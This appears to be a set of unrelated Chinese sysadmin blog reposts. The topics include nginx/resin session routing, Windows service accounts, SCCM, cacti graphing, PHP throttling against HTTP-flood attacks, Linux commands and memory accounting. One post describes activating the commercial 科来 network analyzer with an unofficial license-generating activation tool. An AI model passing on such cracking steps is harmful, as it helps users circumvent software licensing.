<!--输出Cookie--> </body> </html> ###重启 resin 服务##### ### server1 服务器##### shell $> /usr/local/resin/bin/httpd.sh -server a start ###注意 如果没修改 环境变量会报错 ### server2 服务器 #### shell $> /usr/local/resin/bin/httpd.sh -server b start ### 注意的是 server2 服务器 只启动 server_id b ### 4.整合 ngxin resin shell $> cd /usr/local/nginx/conf shell $> mv nginx.conf nginx.bak shell $> vim nginx.conf ## 以下是配置 ### user www www; worker_processes 4; error_log logs/nginx_error.log crit; pid /usr/local/nginx/nginx.pid; #Specifies the value for maximum file descriptors that can be opened by this process. worker_rlimit_nofile 51200; events { use epoll; worker_connections 2048; } http { upstream backend { server 192.168.6.121:8080 srun_id=a; #### 这里 srun_id=a 对应的是 server1 resin 配置里的 server id="a" server 192.168.6.162:8081 srun_id=b; #### 这里 srun_id=b 对应的是 server2 resin 配置里的 server id="b" jvm_route $cookie_JSESSIONID|sessionid; } include mime.types; default_type application/octet-stream; #charset gb2312; charset UTF-8; server_names_hash_bucket_size 128; client_header_buffer_size 32k; large_client_header_buffers 4 32k; client_max_body_size 20m; limit_rate 1024k; sendfile on; tcp_nopush on; keepalive_timeout 60; tcp_nodelay on; fastcgi_connect_timeout 300; fastcgi_send_timeout 300; fastcgi_read_timeout 300; fastcgi_buffer_size 64k; fastcgi_buffers 4 64k; fastcgi_busy_buffers_size 128k; fastcgi_temp_file_write_size 128k; gzip on; #gzip_min_length 1k; gzip_buffers 4 16k; gzip_http_version 1.0; gzip_comp_level 2; gzip_types text/plain application/x-javascript text/css application/xml; gzip_vary on; #limit_zone crawler $binary_remote_addr 10m; server { listen 80; server_name 192.168.6.121; index index.html index.htm index.jsp; root /var/www; location ~ .*\.jsp$ { proxy_pass http://backend; proxy_redirect off; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Real-IP $remote_addr; proxy_set_header Host $http_host; } location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ { expires 30d; } location ~ .*\.(js|css)?$ { expires 1h; } location /stu { stub_status on; access_log off; } log_format access '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" $http_x_forwarded_for'; # access_log off; } } 5.测试,打开浏览器,输入 http://192.168.6.121/index.jsp session 显示 aXXXXX 访问的是 121 服务器也就是 server1,因为是第一次访问所以Cookie 没有获得,刷新一下看他是否轮询会访问到 162 server2. 刷新 N 遍后仍然是 121,也就是补丁起作用了,cookie 值 也获得了,为了测试,我又打开了 “火狐浏览器”(因为session 和 cookie问题所以从新打开别的浏览器),输入网址: 显示的是 162 ,session 值 是以 bXXX 开头的,刷新 N遍后: 仍然是 162 server 2服务器!!大家测试的时候如果有疑问可一把 nginx 配置文件的 srun_id=a srun_id=b 去掉,然后在访问,就会知道 页面是轮询访问得了!! PS:最后 谢谢 Weibin Yao 指导 还有 Cluster服务技术群2 的张涛大哥对 JSP 代码的帮助!!! 我上传的补丁清在 linux 系统上解压,因为 51cto 不支持 gz格式,所以我就改了一后缀名,在linux 系统上执行 shell $> tar zxvf nginx-upstream-jvm-route-read-only.rar 就可以了! tomcat 的解决方法 README 上有: 1.For resin upstream backend { server 192.168.0.100 srun_id=a; server 192.168.0.101 srun_id=b; server 192.168.0.102 srun_id=c; server 192.168.0.103 srun_id=d; jvm_route $cookie_JSESSIONID|sessionid; } 2.For tomcat upstream backend { server 192.168.0.100 srun_id=a; server 192.168.0.101 srun_id=b; server 192.168.0.102 srun_id=c; server 192.168.0.103 srun_id=d; jvm_route $cookie_JSESSIONID|sessionid reverse; } 本文转自Deidara 51CTO博客,原文链接:http://blog.51cto.com/deidara/193887,如需转载请自行联系原作者
在 Windows 操作系统中,每个服务都运行在一个用户帐户安全上下文中。其用户名和密码在服务安装时由 CreateService 函数指定,并可以通过 ChangeServiceConfig 函数进行更改,通过 QueryServiceConfig 函数查询某个服务的用户名。服务控制管理器(SCM)自动为服务加载用户配置文件。 启动服务时,SCM 会登录到该服务关联的账户之上,一旦登录成功,系统会生成一个访问令牌,并将其附加到新的服务进程上,用于在随后与安全对象(带有安全描述符的对象)的交互中标识该服务进程。例如,如果服务尝试打开某个管道的句柄,系统将在为该服务获取权限之前对比其访问令牌和管道的安全描述符。 SCM 不会保留服务所使用的用户帐户的密码。如果密码过期,登录会失败,服务启动失败。为服务指派帐户的系统管理员可以创建永不过期的密码,或者通过服务配置程序来周期性的更改过期的密码。 如果服务需要在与另一个服务共享其信息之前对其进行识别,那么第二个服务可以使用第一个服务的帐户,或者运行在另一个被第一个服务识别的帐户别名中。需要在网络环境中处理分布式事务的服务可以运行在域帐户中。 可以向服务指定下列特殊帐户,而不必指定某个用户帐户:LocalService、NetworkService、LocalSystem。 LocalService 该账户是给SCM使用的预定义本地帐户,其不会被安全子系统识别,因此无法通过调用 LookupAccountName 函数来获得其用户名。它具有本地计算机上的最小特权,在网络访问时代表匿名凭据。 该账户可以在调用 CreateService 和 ChangeServiceConfig 函数时指定。需要注意的是,该账户没有密码,因此在调用时提供的任何密码都会被忽略。如果安全子系统本地化其账户名,SCM将不支持本地化的名称。因此,可以通过 LookupAccountSid 函数来取得该账户的本地名称,但不管系统区域是什么,在调用 CreateService 或 ChangeServiceConfig 时必须使用 NT AUTHORITY\LocalService 这个名称,否则会发生不可预料的结果。 该用户的 SID 由 SECURITY_LOCAL_SERVICE_RID 值来创建。 该账户在 HKEY_USERS 注册表项下有自己的子键,因此,它有与自己关联的 HKEY_CURRENT_USER 注册表项。 该账户具有下列特权: SE_ASSIGNPRIMARYTOKEN_NAME (已禁用) SE_AUDIT_NAME (已禁用) SE_CHANGE_NOTIFY_NAME (已启用) SE_CREATE_GLOBAL_NAME (已启用) SE_IMPERSONATE_NAME (已启用) SE_INCREASE_QUOTA_NAME (已禁用) SE_SHUTDOWN_NAME (已禁用) SE_UNDOCK_NAME (已禁用) 用户和已鉴定用户拥有的其他特权 NetworkService 该账户在本地计算机上拥有最小特权,在网络上代表该计算机的身份。默认情况下,远程令牌包含 Everyone 和 Authenticated Users 用户组的 SID。该用户的 SID 由 SECURITY_NETWORK_SERVICE_RID 值来创建。其他属性与 LocalService 相同。 LocalSystem 它具有本地计算机上的扩展特权,在网络访问时代表该计算机的身份。其令牌包含 NT AUTHORITY\SYSTEM 和 BUILTIN\Administrators 的 SID,这些账户能够访问系统中大多数对象,其名称在所有区域均为 .\LocalSystem,使用 LocalSystem 或 ComputerName\LocalSystem 均可。 本账户中运行的服务会继承SCM的安全上下文。该用户的 SID 由 SECURITY_LOCAL_SYSTEM_RID 值来创建。本账户不与已登录的任何账户关联。此账户有以下特点: HKEY_CURRENT_USER 关联到默认用户,而不是当前登录的用户。要访问其它用户的配置文件,需要模仿该用户,然后访问 HKEY_CURRENT_USER。 使用该账户的服务可以打开 HKEY_LOCAL_MACHINE\SECURITY。 此服务以本计算机的身份访问远程服务器。 如果服务打开了命令窗口并运行批处理文件,用户可以使用 Ctrl+C 终止该批处理,以此获得使用 LocalSystem 权限访问命令行窗口的能力。 另外,本账户具有以下特权: SE_ASSIGNPRIMARYTOKEN_NAME (已禁用) SE_AUDIT_NAME (已启用) SE_BACKUP_NAME (已禁用) SE_CHANGE_NOTIFY_NAME (已启用) SE_CREATE_GLOBAL_NAME (已启用) SE_CREATE_PAGEFILE_NAME (已启用) SE_CREATE_PERMANENT_NAME (已启用) SE_CREATE_TOKEN_NAME (已禁用) SE_DEBUG_NAME (已启用) SE_IMPERSONATE_NAME (已启用) SE_INC_BASE_PRIORITY_NAME (已启用) SE_INCREASE_QUOTA_NAME (已禁用) SE_LOAD_DRIVER_NAME (已禁用) SE_LOCK_MEMORY_NAME (已启用) SE_MANAGE_VOLUME_NAME (已禁用) SE_PROF_SINGLE_PROCESS_NAME (已启用) SE_RESTORE_NAME (已禁用) SE_SECURITY_NAME (已禁用) SE_SHUTDOWN_NAME (已禁用) SE_SYSTEM_ENVIRONMENT_NAME (已禁用) SE_SYSTEMTIME_NAME (已禁用) SE_TAKE_OWNERSHIP_NAME (已禁用) SE_TCB_NAME (已启用) SE_UNDOCK_NAME (已禁用) 本文转自wbpluto 51CTO博客,原文链接:http://blog.51cto.com/wbpluto/612129,如需转载请自行联系原作者
SCCM提供了R2和R3版本,两个版本并没有对SCCM做大的变化,只是增加了一些功能 R2版本: Application Virtualization。 Forefront Client Security 集成。 SQL Reporting Services 报表。 客户端状态报告。 操作系统部署增强。 未知计算机支持 - 多播部署 使用凭据而不是本地系统帐户来运行任务序列中的命令行 详见:http://technet.microsoft.com/zh-cn/library/cc161883.aspx R3版本 电源管理。 操作系统部署改进。 动态集合评估。 Active Directory 增量发现。 简化的资源管理。 所需的配置管理。 每个层次结构的受支持客户端的更高数目。 详见:http://technet.microsoft.com/zh-cn/library/ff977104.aspx R2和R3版本中增加的功能都非常有用,比如:对未知计算机的支持,有了对未知计算机的支持,我们在系统分发的时候就不需要导入计算机信息。在R3版本中我们可以很方便的将计算机加入到指定的集合中,而免去了编写复杂的条件查询语句。 闲话少说,既然有怎么多的好处,那么我们就赶快安装上R3组件吧! SCCM版本号: RTM 4.00.5931.0000 SP1 4.00.6221.1000 SP2 BETA 4.00.6425.2000 SP2 Release candidate 4.00.6468.2001 SP2 Final 4.00.6478.2000 1,用SCCM管理员登录SCCM服务器,打开SCCM控制台,查看SCCM的版本, 2,将R3的安装光盘放入光驱,并运行 3,点击安装configuration Manager 2007r3,运行前请关闭所有的MMC控制台,运行安装后,提示需要安装补丁,安装不成功 4,下载并安装补丁 http://support.microsoft.com/kb/977384/ 5,再次运行安装,选择下一步 6,安装过程 7,完成安装 忘了截图 8,打开控制台检查安装结果,安装完成。 我们已经把SCCM的服务器端的部署已经完成了。接下来,我们就开始做SCCM的配置和使用它的各种功能,体验它给我们的客户端管理带来的好处。 本文转自zhaonaiqiu 51CTO博客,原文链接:http://blog.51cto.com/naima/782403,如需转载请自行联系原作者
[背景] 今天我们的网络工程师在使用cacti时,想看到一天中每半个小时的平均端口流量,本可以在cacti的图中,选择时间,可工程量太大了,手工操作也太繁琐了,就想有没有什么好的方法,于是我的简单思路就出来了.......这是初稿,我想随着需求,我还要进一步完善吧! [过程] rrd.pl #!/usr/bin/perl print "Please input year!\n"; my $year=<>; chomp($year); print "Please input month(Jan,Feb,Mar...)!\n"; my $month=<>; chomp($month); print "Please input day!\n"; my $day=<>; chomp($day); print "Please input week(Mon,Tue,Wed...)!\n"; my $week=<>; chomp($week); my $date_time="$week $month $day 00:00:00 CST $year"; my $timestamp=`date -j -f "%a %b %d %T %Z %Y" "$date_time" "+%s"`; $timestamp=$timestamp+0; for(my $i=0;$i<48;$i++){ `/bin/sh gp1.sh $i $timestamp $timestamp`; $timestamp=$timestamp+1800; } gp1.sh #!/bin/sh ext=$1 start_time=$2 end_time=$(( $3 + 1800 )) /usr/local/bin/rrdtool graph $ext.png \ --imgformat=PNG \ --start=$start_time \ --end=$end_time \ --title="11.16.242.12 - Traffic - Gi0/1" \ --rigid \ --base=1000 \ --height=120 \ --width=500 \ --alt-autoscale-max \ --lower-limit=0 \ COMMENT:"From 2008/12/16 10\:00\:00 To 2008/12/16 10\:30\:00\c" \ COMMENT:" \n" \ --vertical-label="bits per second" \ --slope-mode \ DEF:a="/usr/local/share/cacti/rra/11_16_242_12_traffic_in_103.rrd":traffic_in:AVERAGE \ DEF:b="/usr/local/share/cacti/rra/11_16_242_12_traffic_in_103.rrd":traffic_out:AVERAGE \ CDEF:cdefa=a,8,* \ CDEF:cdefe=b,8,* \ AREA:cdefa#00CF00:"Inbound" \ GPRINT:cdefa:LAST:" Current\:%8.2lf %s" \ GPRINT:cdefa:AVERAGE:"Average\:%8.2lf %s" \ GPRINT:cdefa:MAX:"Maximum\:%8.2lf %s\n" \ LINE1:cdefe#002A97:"Outbound" \ GPRINT:cdefe:LAST:"Current\:%8.2lf %s" \ GPRINT:cdefe:AVERAGE:"Average\:%8.2lf %s" \ GPRINT:cdefe:MAX:"Maximum\:%8.2lf %s" [结果]这样,我1天内24小时,就可以输出48张图片了........哈哈......那么只要按0..47.png点击图片,就可以看到这每半个小时的平均流量了......(为什么说是扩展开发呢,我觉得是在cacti不能满足我们需求的时候,我们自主搞得东西,所以我就叫它扩展开发喽.....不准扔鸡蛋....扔Money!) 本文转自hahazhu0634 51CTO博客,原文链接:http://blog.51cto.com/5ydycm/120431,如需转载请自行联系原作者
[前言]最近朋友的网站受到CC攻击,就向我咨询,因为我对防cc攻击也不是很了解,所以我也不敢一下子给他什么好的答案。今天,我就写了下面的资料,看能不能给他,和大家一个好的方案,如果大家有对防CC攻击更好的主意,请留言与我,我们一起学习,谢谢!<?phpif (isset($_SERVER)){ $realip = $_SERVER[HTTP_X_FORWARDED_FOR];}else{ $realip = getenv("HTTP_X_FORWARDED_FOR");}if($realip<>""){ $remoteip=$_SERVER['REMOTE_ADDR']; log_ip($remoteip,$realip);}function log_ip($remote_ip,$real_ip){ $temp_time = date("y-m-d G:i:s"); $temp_result = $temp_time."\t".$real_ip."\t".$remote_ip."\n"; if(!$fhandle=fopen("cc_log.txt","a+")){ print "error"; exit; }fwrite($fhandle,$temp_result);fclose($fhandle);}?>此段代码作用:将代理访问的真实IP记录到日志中,以便排查分析。以下是cc_log.txt的内容(此代码生产是因我通过CC攻击软件攻击生产的)Time Real_ip Remote_ip <=此行是我自己添加的09-09-05 13:50:47 122.144.131.72 60.248.212.23009-09-05 13:50:47 122.144.131.72 60.248.212.23009-09-05 13:50:47 122.144.131.72 60.248.212.23009-09-05 13:50:48 122.144.131.72 60.248.212.23009-09-05 13:50:48 122.144.131.72 60.248.212.23009-09-05 13:50:48 122.144.131.72 60.248.212.23009-09-05 13:50:49 122.144.131.72 60.248.212.23009-09-05 13:50:49 122.144.131.72 219.146.172.9109-09-05 13:50:49 122.144.131.72 219.146.172.9109-09-05 13:50:49 122.144.131.72 219.146.172.9109-09-05 13:50:49 122.144.131.72 219.146.172.9109-09-05 13:50:49 122.144.131.72 219.146.172.9109-09-05 13:50:49 122.144.131.72 60.248.212.23009-09-05 13:50:49 122.144.131.72 60.248.212.23009-09-05 13:50:50 122.144.131.72 219.146.172.9109-09-05 13:50:50 122.144.131.72 219.146.172.9109-09-05 13:50:50 122.144.131.72 219.146.172.9109-09-05 13:50:50 122.144.131.72 219.146.172.9109-09-05 13:50:50 122.144.131.72 219.146.172.9109-09-05 13:50:51 122.144.131.72 60.248.212.230在仅仅有4秒的时间内,就从真实IP 122.144.131.72 以代理IP(60.248.212.230,219.146.172.91)来访问我这台服务器,可见这台真实客户端是有问题的,这时,我们应该用防火墙(iptables)禁止掉这些真实IP,以使他们的请求,在入口就Deny掉。<?phpsession_start(); $timestamp = time(); $cc_nowtime = $timestamp ;if (session_is_registered('cc_lasttime')){ $cc_lasttime = $_SESSION['cc_lasttime']; $cc_times = $_SESSION['cc_times'] + 1; $_SESSION['cc_times'] = $cc_times;}else{ $cc_lasttime = $cc_nowtime; $cc_times = 1; $_SESSION['cc_times'] = $cc_times; $_SESSION['cc_lasttime'] = $cc_lasttime;}if (($cc_nowtime - $cc_lasttime)<5){ if ($cc_times>=10){ header(sprintf("Location: %s",'http://127.0.0.1')); exit; }}else{ $cc_times = 0; $_SESSION['cc_lasttime'] = $cc_nowtime; $_SESSION['cc_times'] = $cc_times;}?>这段代码的作用:同一会话,如果在5秒钟内,刷新了10次就将响应指向到本地服务(http://127.0.0.1)[感言]个人认为,第一段代码可以与应用一起发布,并定期对cc_log.txt进行分析,以便保护服务。而第二段代码,在第一段代码近期出现过多代理请求,此时可以将此段代码放入到应用中,起到一定的防CC攻击(因为会话过多也会消耗服务器资源的,大家应当灵活应用)。当然 ,如果有硬防是更好的。不过,我曾在网上看到硬防看起后,会造成部分蜘蛛无法正常抓取,不过,大家可以通过http日志,将蜘蛛ip整理出来,交给相关的技术人员,以使其IP放入硬防的白名单中。 本文转自hahazhu0634 51CTO博客,原文链接:http://blog.51cto.com/5ydycm/199083,如需转载请自行联系原作者
chown为改变文件拥有者,chgrp为改变文件所属组 chown [-R]owner myfile chown owner.group myfile//这句的意思是说同时更改文件拥有者和所属的组 chown .group myfile chgrp [-R] group myfile -R的意思是说文件夹下的所有文件的属性都将发生改变 建立特殊文件命令: mknod name type 这个命令是用于建立块文件、管道文件、字符文件 mknod /tmp/mypipe p这就是建立了一个命名管道 mkdir中的参数很有用: mkdir –m 755 test在建立test目录的时候直接加上权限不用再用umask了。 mkdir –p test/test1/test2/test3加上-p的意思就是可以递归建立子目录。 rmdir只能删除一个空目录,而要删除一个实目录是要用rd –r 目录名或者用rd –d 目录名,rmdir –p test/test1/test2/test3递归删除空目录。 Which和whereis rm中的参数: mv中的参数: 显示当前文件目录:pwd 磁盘操作工具命令:du 查看哪些用户在消耗磁盘,每个用户占用的空间:du –sh /home/* 显示磁盘空间命令:df df –l df –h . df –h /tmp 同步磁盘命令也就清缓存命令: sync;sync 查看文件路径的命令: 显示部分路径:which ls 结果为:/bin/ls 显示完整路径:whereis ls 结果为:ls: /bin/ls /usr/share/man/man1/ls.1.gz 它们的区别在于whereis能查找出任意文件的路径,只要你的系统中有;而which只能查找系统自带的命令文件。 本文转自sucre03 51CTO博客,原文链接:http://blog.51cto.com/sucre/419349,如需转载请自行联系原作者
一、实验环境 CentOS6.5 软件:nginx-1.6.2.tar.gz 二、实验步骤 1)安装nginx所依赖的软件 yum -y install pcre pcre-devel yum -y install openssl openssl-devel rpm -qa pcre pcre-devel openssl openssl-devel 2)创建nginx用户,指定shell类型,并且不创建家目录 useradd nginx -s /sbin/nologin/ -M 如未添加用户会有如下报错: nginx: [emerg] getpwnam("nginx") failed nginx: configuration file /application/nginx1.6.2/conf/nginx.conf test failed 解决办法:重新添加用户即可 3)下载nginx-1.6.2.tar.gz,并解压nginx-1.6.2.tar.gz,然后编译安装 wget -O /home/chen/tools/ http://nginx.org/download/nginx-1.6.2.tar.gz tar xf nginx-1.6.2.tar.gz cd nginx-1.6.2 ./configure --prefix=/application/nginx1.6.2 --user=nginx --group=nginx --with-http_ssl_module --with-http_stub_status_module make && make installl ln -s /application/nginx1.6.2 /application/nginx /application/nginx/sbin/nginx -t /application/nginx/sbin/nginx -s reload 三、配置本地以及windows的hosts文件,在浏览器中访问 本文转自chengong1013 51CTO博客,原文链接:http://blog.51cto.com/purify/1790148,如需转载请自行联系原作者
1、取本机ip地址 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 [root@centos6 ~]# ifconfig eth1 Link encap:Ethernet HWaddr 00:0C:29:35:DD:AB inet addr:10.1.253.95 Bcast:10.1.255.255 Mask:255.255.0.0 inet6 addr: fe80::20c:29ff:fe35:ddab/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:378023 errors:0 dropped:0 overruns:0 frame:0 TX packets:12444 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:46926222 (44.7 MiB) TX bytes:1240063 (1.1 MiB) eth2 Link encap:Ethernet HWaddr 00:0C:29:35:DD:B5 inet addr:192.168.226.135 Bcast:192.168.226.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe35:ddb5/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:2539 errors:0 dropped:0 overruns:0 frame:0 TX packets:225 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:281133 (274.5 KiB) TX bytes:39650 (38.7 KiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 b) TX bytes:0 (0.0 b) [root@centos6 ~]# ifconfig |awk -F '[: ]+' 'NR==2{print $4}' 10.1.253.95 [root@centos6 ~]# ifconfig eth1 Link encap:Ethernet HWaddr 00:0C:29:35:DD:AB inet addr:10.1.253.95 Bcast:10.1.255.255 Mask:255.255.0.0 inet6 addr: fe80::20c:29ff:fe35:ddab/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:379965 errors:0 dropped:0 overruns:0 frame:0 TX packets:12615 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:47097014 (44.9 MiB) TX bytes:1264173 (1.2 MiB) eth2 Link encap:Ethernet HWaddr 00:0C:29:35:DD:B5 inet addr:192.168.226.135 Bcast:192.168.226.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe35:ddb5/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:2541 errors:0 dropped:0 overruns:0 frame:0 TX packets:227 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:281535 (274.9 KiB) TX bytes:40052 (39.1 KiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 b) TX bytes:0 (0.0 b) [root@centos6 ~]# ifconfig |head -2 eth1 Link encap:Ethernet HWaddr 00:0C:29:35:DD:AB inet addr:10.1.253.95 Bcast:10.1.255.255 Mask:255.255.0.0 [root@centos6 ~]# ifconfig |head -2 |sed -r 's/^.*addr:(.*) Bca.*$/\1/g' eth1 Link encap:Ethernet HWaddr 00:0C:29:35:DD:AB 10.1.253.95 [root@centos6 ~]# ifconfig |head -2|tail -1 |tr -s ' ' ':' |cut -d: -f4 10.1.253.95 [root@centos6 ~]# 1.1、取出本机所有的IP地址 1 2 3 4 5 6 7 8 9 10 [root@centos6 ~]# ifconfig |tr -cs '[:digit:].' '\n'|sort -t. -k4|tail -8 255.0.0.0 255.255.0.0 255.255.255.0 127.0.0.1 192.168.226.135 10.1.255.255 192.168.226.255 10.1.253.95 [root@centos6 ~]# 2、取各分区利用率的数值 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [root@centos6 ~]# df |grep "sd.*" /dev/sda3 121455724 3990720 111288700 4% / /dev/sda1 194241 34082 149919 19% /boot /dev/sdb 20511356 44992 19417788 1% /mnt [root@centos6 ~]# df |grep "sd.*"|tr -s ' ' ':' /dev/sda3:121455724:3990720:111288700:4%:/ /dev/sda1:194241:34082:149919:19%:/boot /dev/sdb:20511356:44992:19417788:1%:/mnt [root@centos6 ~]# df |grep "sd.*"|tr -s ' ' ':'|cut -d: -f1,5 /dev/sda3:4% /dev/sda1:19% /dev/sdb:1% [root@centos6 ~]# df |grep "sd.*"|tr -s ' ' ':'|cut -d: -f1,5|sort -nr /dev/sdb:1% /dev/sda3:4% /dev/sda1:19% [root@centos6 ~]# 3、统计/etc/init.d/functions 文件中每个单词出现的次数,并按频率从高到低显示 1 2 3 4 5 6 7 8 9 10 11 [root@centos6 ~]# cat /etc/init.d/functions |tr -cs '[:alpha:]' '\n'|sort|uniq -c |sort-nr 83 if 77 then 75 pid 73 echo 72 fi 61 return 57 dev 54 file 50 n 46 local 4、/etc/rc.d/init.d/functions或/etc/rc.d/init.d/functions/" 取目录名 1 2 3 [root@centos6 ~]# echo "/etc/init.d/functions"|sed -r 's#^(/.*/)[^/]+/?#\1#g' /etc/init.d/ [root@centos6 ~]# 4.1、/etc/rc.d/init.d/functions或/etc/rc.d/init.d/functions/" 取基名 1 2 3 [root@centos6 ~]# echo "/etc/init.d/functions/"|sed -r 's#/.*/([^/]+)#\1#g' functions/ [root@centos6 ~]# 本文转自chengong1013 51CTO博客,原文链接:http://blog.51cto.com/purify/1835797,如需转载请自行联系原作者
科来网络分析系统2010v7.3.1.2436 激活注册汉化方法 昨天晚上听了公开课,基本上工具都是用过的,不过科来网络分析这个软件还没有怎么用过。赶快下载测试一下。采用默认安装路径,然后激活,激活的方式选择第二项“通过传真或者邮件激活”。 打开激活工具,用户名和公司名随便写,把serial number复制到软件激活框中,点下一步,然后把生成的机器码复制到激活工具中,会自动生成一个license. 双击复制license到软件激活对应license中,点下一步即可激活。 最后汉化, 此处有一点要特别说明:昨天晚上YY里给的下载地址里的汉化包,64位系统不能汉化的(我的是windows8.1_64的),32位汉化应该没有问题。 下面是64位汉化包。 下载地址(64汉化包):http://down.51cto.com/data/1027183 下载地址(完整包):http://down.51cto.com/data/1027182 本文转自pizibaidu 51CTO博客,原文链接:http://blog.51cto.com/pizibaidu/1333483,如需转载请自行联系原作者
问题: "本机测试一切正常,传到服务器上浏览器提示我的AjaxPro 未定义"-->这是我在网上找的原话也是我的问题. 原因和解决: 1.没有将AjaxPro加载放在form1以内,有篇文章写得不错: 'AjaxPro'未定义错误的原因&javascript顺序执行&AjaxPro机制. 2.忘记在服务器的web.config里面添加Handler了: 在<system.web>节点下加入: <httpHandlers> <add verb="POST,GET" path="ajaxpro/*.ashx" type="AjaxPro.AjaxHandlerFactory, AjaxPro.2"/> </httpHandlers> 注意:这里省略了譬如编码错误,类名写错等错误导致的AjaxPro 未定义的错误. 本文转自over140 51CTO博客,原文链接:http://blog.51cto.com/over140/586501,如需转载请自行联系原作者
linux系统内存实际使用率 图中的例子很典型,就是:多数的linux系统在free命令后会发现free(剩余)的内存很少,而自己又没有开过多的程序或服务。对于上述的情况,正确的解释是:linux 的内存管理机制与windows的有所不同。具体的机制我们无需知道,我们需要知道的是,linux的内存管理机制的思想包括(不敢说就是)内存利用率最 大化。内核会把剩余的内存申请为cached,而cached不属于free范畴。当系统运行时间较久,会发现cached很大,对于有频繁文件读写操作 的系统,这种现象会更加明显。 直观的看,此时free的内存会非常小,但并不代表可用的内存小,当一个程序需要申请较大的内存时,如果free的内存不够,内核会把部分cached的内存回收,回收的内存再分配给应用程序。所以对于linux系统,可用于分配的内存不只是free的内存,还包括cached的内存(其实还包括buffers)。 1、通过定期采集/proc文件系统内的meminfo文件来获取当前内存使用情况: proc 文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。用户和应用程序可以通过proc 得到系统的信息,并可以改变内核的某些参数。由于系统的信息,如进程,是动态改变的,所以用户或应用程序读取proc文件时,proc文件系统是动态从系 统内核读出所需信息并提交的采集流程图。/proc/meminfo 信息如下: 需要使用的指标有:MemTotal ,MemFree,Buffers,CachedMemTotal:总内存大小MemFree: 空闲内存大小Buffers和Cached:磁盘缓存的大小Buffers和Cached的区别:buffers 是指用来给块设备做的缓冲大小,他只记录文件系统的metadata以及 tracking in-flight pages.cached 是用来给文件做缓冲。buffers 是用来存储目录里面有什么内容,权限等等。而cached直接用来记忆我们打开的文件,比如先后执行两次命令#man X ,你就可以明显的感觉到第二次的开打的速度快很多。而buffers随时都在增加,比如先后两次使用ls /dev后,就会发现第二次执行的速度会较第一次快。这就是buffers/chached的区别。 2、下面分别从操作系统角度和应用程序角度来区别Buffers和Cached 使用free命令可以看到 对操作系统来说,Buffers和Cached是已经被使用的(上图Mem:这一行) MemFree=total-used314952=24946552-24631600 对应用程序来说(上图对应-/+ buffers/cache那一行) MemFree=buffers+cached+free19536392=152116+19069324+314952 所以本着监控应用对物理内存使用情况的目的采取如下计算方法: 内存使用率(MEMUsedPerc)=100*(MemTotal-MemFree-Buffers-Cached)/MemTotal 在这里为了PatrolAgent的监控性能,采用定期读取/proc/meminfo文件来获取MemTotal ,MemFree,Buffers,Cached这些参数的值 该算法在MEMORY.km中实现。 或者简单的理解如下: 如下显示free是显示的当前内存的使用,-m的意思是M字节来显示内容.我们来一起看看.$ free -m total used free shared buffers cached Mem: 1002 769 232 0 62 421 -/+ buffers/cache: 286 715 Swap: 1153 0 1153 --------------------------- 真实内存占用 = used-buffers-cached = 286 ----------------- 第一部分Mem行: total 内存总数: 1002M used 已经使用的内存数: 769M free 空闲的内存数: 232M shared 当前已经废弃不用,总是0 buffers Buffer 缓存内存数: 62M cached Page 缓存内存数:421M 关系:total(1002M) = used(769M) + free(232M) 第二部分(-/+ buffers/cache): (-buffers/cache) used内存数:286M (指的第一部分Mem行中的used - buffers - cached) (+buffers/cache) free内存数: 715M (指的第一部分Mem行中的free + buffers + cached) 可见-buffers/cache反映的是被程序实实在在吃掉的内存 而+buffers/cache反映的是可以挪用的内存总数。 内存使用率=[(-buffers/cache)used内存数]/[total 内存总数]=286/1002=28.54 =============================================================== 通过看free命令的说明可以发现,free命令的数值是从/proc/meminfo文件重读取的。查看free的源码包查看其源码,明确知道了其中的每个数值的来源(具体内容可查看linux命令free源码解读:Procps free.c)。 有时我们计算内存使用率的时候会读取free命令的回显,但有时也会直接读取文件/proc/meminfo的内容,毕竟free命令的回显数据就是从meminfo文件中获得的。 然而,由于不同的linux发行版,在系统制作过程中会修改部分源码。一般的系统(如Debian)使用free命令和读取meminfo文件两种方式计 算的内存使用率是相同的。但是对于部分系统,如SUSE(并不确定是每个版本的都是,这里指SUSE Enterprise Server 11),其在free命令回显的结果中,cached部分的值并不等于meminfo文件中的cached所显示的值,而是等于meminfo文件中 cached部分和SReclaimable部分之和。 也就是说,debian之类的系统认为: 可用内存=free的内存+cached的内存+buffers的内存 而SUSE之类的系统则认为: 可用内存=free的内存+cached的内存+buffers的内存+SReclaimable的内存 PS: 